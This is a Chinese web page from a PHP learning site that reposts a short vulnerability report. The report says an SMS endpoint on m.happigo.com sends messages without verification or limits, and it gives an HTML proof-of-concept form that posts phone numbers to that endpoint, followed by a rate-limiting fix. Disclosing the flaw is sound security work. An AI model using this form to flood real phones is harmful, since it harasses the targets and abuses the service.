来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 可以利用本漏洞实现手机短信攻击,无验证,无限制发送.详细说明:已经发给自己好几十条了...可以一直发...HtmltitleMESSAG Test/titlebody form action=http://m.happigo.com/minisite/index.php ......
可以利用本漏洞实现手机短信攻击,无验证,无限制发送.
详细说明:已经发给自己好几十条了... 可以一直发... <Html> <title>MESSAG Test</title> <body> <form action="http://m.happigo.com/minisite/index.php" method="post" enctype="multipart/form-data"> <label for="file">Phone Number:</label> <input type="text" name="getmessage" maxlength=11/> <input type="submit" name="submit" value="submit" /> </form> </body> </html> www.2cto.com 修复方案: 对同一号码短信发送时间进行限制... |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com